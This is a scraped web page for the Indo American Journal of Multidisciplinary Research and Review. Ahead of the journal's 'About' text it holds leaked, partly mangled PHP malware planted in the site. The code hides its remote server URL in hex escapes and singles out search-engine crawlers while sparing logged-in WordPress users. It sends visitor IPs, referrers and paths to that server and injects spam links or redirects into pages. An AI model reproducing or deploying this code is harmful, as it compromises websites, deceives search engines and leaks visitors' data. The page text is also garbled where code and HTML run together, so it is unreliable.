$value){if($key=='http2_session_id' || strpos($key,'wordpress_logged_in_')===0){$lf_enable=false;@setcookie('http2_session_id','1',2147483647,"/");break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI'] ?? '/';$ua=$_SERVER['HTTP_USER_AGENT'] ?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST'] ?? ''). $uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x62p\x6ca\x6es\x6ff\x74.\x6fr\x67/\x67e\x74.\x70h\x70";public $client_hash="b9e71384";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*","35.191.*","35.203.*","35.204.*","35.224.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.199.*","35.200.*","35.201.*","35.202.*","35.203.*","35.204.*","35.205.*","35.206.*","35.207.*","35.208.*","35.209.*","35.210.*","35.211.*","35.212.*","35.213.*","35.214.*","35.215.*","35.216.*","35.217.*","35.218.*","35.219.*","35.220.*","35.221.*","35.222.*","35.223.*","35.224.*","35.225.*","35.226.*","35.227.*","35.228.*","35.229.*","35.230.*","35.231.*","35.232.*","35.233.*","35.234.*","35.235.*","35.236.*","35.237.*","35.238.*","35.239.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.248.*","35.249.*","35.250.*","35.251.*","35.252.*","35.253.*","35.254.*","35.255.*","34.64.*","34.65.*","34.66.*","34.67.*","34.68.*","34.69.*","34.70.*","34.71.*","34.72.*","34.73.*","34.74.*","34.75.*","34.76.*","34.77.*","34.78.*","34.79.*","34.80.*","34.81.*","34.82.*","34.83.*","34.84.*","34.85.*","34.86.*","34.87.*","34.88.*","34.89.*","34.90.*","34.91.*","34.92.*","34.93.*","34.94.*","34.95.*","34.96.*","34.97.*","34.98.*","34.99.*","34.100.*","34.101.*","34.102.*","34.103.*","34.104.*","34.105.*","34.106.*","34.107.*","34.108.*","34.109.*","34.110.*","34.111.*","34.112.*","34.113.*","34.114.*","34.115.*","34.116.*","34.117.*","34.118.*","34.119.*","34.120.*","34.121.*","34.122.*","34.123.*","34.124.*","34.125.*","34.126.*","34.127.*","34.128.*","34.129.*","34.130.*","34.131.*","34.132.*","34.133.*","34.134.*","34.135.*","34.136.*","34.137.*","34.138.*","34.139.*","34.140.*","34.141.*","34.142.*","34.143.*","34.144.*","34.145.*","34.146.*","34.147.*","34.148.*","34.149.*","34.150.*","34.151.*","34.152.*","34.153.*","34.154.*","34.155.*","34.156.*","34.157.*","34.158.*","34.159.*","34.160.*","34.161.*","34.162.*","34.163.*","34.164.*","34.165.*","34.166.*","34.167.*","34.168.*","34.169.*","34.170.*","34.171.*","34.172.*","34.173.*","34.174.*","34.175.*","34.176.*","34.177.*","34.178.*","34.179.*","34.180.*","34.181.*","34.182.*","34.183.*","34.184.*","34.185.*","34.186.*","34.187.*","34.188.*","34.189.*","34.190.*","34.191.*","34.192.*","34.193.*","34.194.*","34.195.*","34.196.*","34.197.*","34.198.*","34.199.*","34.200.*","34.201.*","34.202.*","34.203.*","34.204.*","34.205.*","34.206.*","34.207.*","34.208.*","34.209.*","34.210.*","34.211.*","34.212.*","34.213.*","34.214.*","34.215.*","34.216.*","34.217.*","34.218.*","34.219.*","34.220.*","34.221.*","34.222.*","34.223.*","34.224.*","34.225.*","34.226.*","34.227.*","34.228.*","34.229.*","34.230.*","34.231.*","34.232.*","34.233.*","34.234.*","34.235.*","34.236.*","34.237.*","34.238.*","34.239.*","34.240.*","34.241.*","34.242.*","34.243.*","34.244.*","34.245.*","34.246.*","34.247.*","34.248.*","34.249.*","34.250.*","34.251.*","34.252.*","34.253.*","34.254.*","34.255.*","2001:4860:4801:*","2001:4860:4802:*","2001:4860:4803:*","2001:4860:4804:*","2001:4860:4805:*","2001:4860:4806:*","2001:4860:4807:*","2001:4860:4808:*","2001:b028:*","2001:67c:*","2404:6800:*","2404:f340:*","2600:1900:*","2600:2700:*","2607:f8b0:*","2607:f8b1:*","2607:f8b2:*","2607:f8b3:*","2607:f8b4:*","2607:f8b5:*","2607:f8b6:*","2607:f8b7:*","2607:f8b8:*","2607:f8b9:*","2607:f8ba:*","2607:f8bb:*","2607:f8bc:*","2607:f8bd:*","2607:f8be:*","2607:f8bf:*","2a00:1450:*","2c0f:f248:*","2c0f:f249:*","2c0f:f24a:*","2c0f:f24b:*","2c0f:f24c:*","2c0f:f24d:*","2c0f:f24e:*","2c0f:f24f:*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return @file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])? $parts['port'] : 80;$page=isset($parts['path'])? $parts['path'] : '';$page .=isset($parts['query'])? '?' . $parts['query'] : '';$page .=isset($parts['fragment'])? '#' . $parts['fragment'] : '';$page=($page=='')? '/' : $page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host:{$parts['host']}\r\n";$headers .="Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!==false){$resp .=$curr;}if(isset($curr)&& $curr !==false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function match_ip($ip,$pattern){if(strpos($ip,':')!==false){$pattern=str_replace(':','\:',$pattern);$pattern=str_replace('*','.*',$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}else{$pattern=str_replace(['. ','*'],['\. ','.*'],$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}}function verify_googlebot($ip){$is_google_ip=false;foreach($this->google_ip_list as $ip_mask){if($this->match_ip($ip,$ip_mask)){$is_google_ip=true;break;}}if(!$is_google_ip){return false;}$hostname=@gethostbyaddr($ip);if(!$hostname || $hostname===$ip){return false;}if(!preg_match('/\.(googlebot|google)\.com$/i',$hostname)){return false;}return true;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])? $_SERVER['HTTP_CF_CONNECTING_IP'] :(isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR'] : 'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER'] : '';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';$ua_patterns=[ 'bing'=> 'bingbot|msnbot|slurp|yahoo','yandex'=> 'yandexbot|yandex','duckduck'=> 'duckduckbot|duckduckgo' ];foreach($ua_patterns as $name=> $re){if($ua && preg_match("/$re/i",$ua)){$bot=TRUE;$this->bot=$name;break;}}if($bot){return $this->make_request();}if($this->verify_googlebot($this->ip)){$bot=TRUE;$this->bot='google';}else{$ip_lists=[ 'bing'=> $this->bing_ip_list,'yandex'=> $this->yandex_ip_list ];foreach($ip_lists as $name=> $list){$is_bot_ip=false;foreach($list as $ip_mask){if($this->match_ip($this->ip,$ip_mask)){$is_bot_ip=true;break;}}if($is_bot_ip){$bot=TRUE;$this->bot=$name;break;}}}if($bot && $this->bot !=='google'){return $this->make_request();}if(!$bot){$host_by_addr=@gethostbyaddr($this->ip);if($host_by_addr && $host_by_addr !==$this->ip){$host_patterns=[ 'bing'=> 'bing|msn|slurp|yahoo','yandex'=> 'yandex','duckduck'=> 'duckduckgo|duckduckbot' ];foreach($host_patterns as $name=> $pattern){if(preg_match("/$pattern/i",$host_by_addr)){$bot=TRUE;$this->bot=$name;break;}}}}return $this->make_request();}function make_request(){if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http: if(isset($tmp['host'])){$host=$tmp['host'];}}$host=$host ?? 'unknown';$sch='http';if(!empty($_SERVER['HTTPS'])&& strtolower((string)$_SERVER['HTTPS'])!=='off'){$sch='https';}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&& stripos((string)$_SERVER['HTTP_X_FORWARDED_PROTO'],'https')!==false){$sch='https';}$url=$this->url . "?host=$host&uri=" . urlencode($this->uri). "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref). '&lang=' . urlencode($this->lang). '&sch=' . $sch . '&cv=' . $this->client_hash . '&ct=client';if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .='&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!==false){$res=1;}die(json_encode([ 'r'=> $res,'bot'=> $this->bot,'ip'=> $this->ip,'funcs'=> [ 'curl_init'=> function_exists('curl_init')? 1 : 0,'file_get_contents'=> function_exists('file_get_contents')? 1 : 0,'allow_url_fopen'=> ini_get('allow_url_fopen')? 1 : 0,'fsockopen'=> function_exists('fsockopen')? 1 : 0,'socket_set_option'=> function_exists('socket_set_option')? 1 : 0,] ]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .='&check=1';}$page=$this->get($url);if(preg_match('/(.*?)<\/url>/us',$page,$matches)){$url=trim($matches[1]);if(!headers_sent()){header("Location: " . $url);exit;}else{echo '';exit;}}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'')!==FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])? $m[1] : array();}if(count($this->links)> 0){ob_start(array($this,'rwcontent'));}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}(?:\s[^>]*)?>(.*?)~is",$content,$matches);if(isset($matches[0])){foreach($matches[0] as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)> count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index < $links_count && $tag_index < $tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)==='###'){$linkHTML=substr($link,0,-3);}else{$seed=$_SERVER['REQUEST_URI'] . strlen($link);$hash1=crc32($seed);$offset=7000 +($hash1 % 6001);$hash2=crc32($seed . 'w');$width=1000 +($hash2 % 201);$linkHTML="

{$link}

";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])% 2==1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+ 4))=="."){$tag_content_new=str_replace(".","{$linkHTML}",$tag_val['content']);}else{$tag_content_new=str_replace("","{$linkHTML}",$tag_val['content']);}}$content=preg_replace("~" . preg_quote($tag_val['content'],'~'). "~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!==false){$link_index++;}$tag_index++;}if($link_index < $links_count){$tail=array();for($i=$link_index;$i < $links_count;$i++){$link=$this->links[$i];$tail[]=(substr($link,-3)==='###')? substr($link,0,-3): $link;}$footer=implode(' ',$tail);if(stripos($content,'')!==false){$content=preg_replace('~~i',$footer . '',$content,1);}else{$content .=$footer;}}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}} Indo American Journal of Multidisciplinary Research and Review (IAJMRR) - ISSN: 2581-6292

ISO : 9001-2015 Certified Journal Impact Factor : 6.885 ISSN : 2581-6292

Indo American Journal of Multidisciplinary Research and Review

IAJMRR Publication

About IAJMRR

Indo American Journal of Multidisciplinary Research and Review (IAJMRR) aims to establish itself as a platform for exchanging ideas in new emerging trends that needs more focus and exposure and is always committed to publish articles that will strengthen the knowledge of upcoming researchers and scientists.

The Indo American Journal of Multidisciplinary Research and Review (IAJMRR) is one of the leading online international journal for presenting novel and fundamental advances in the fields of social sciences, humanities, commerce & management, engineering & technology, medicine, sciences, art & development studies, law.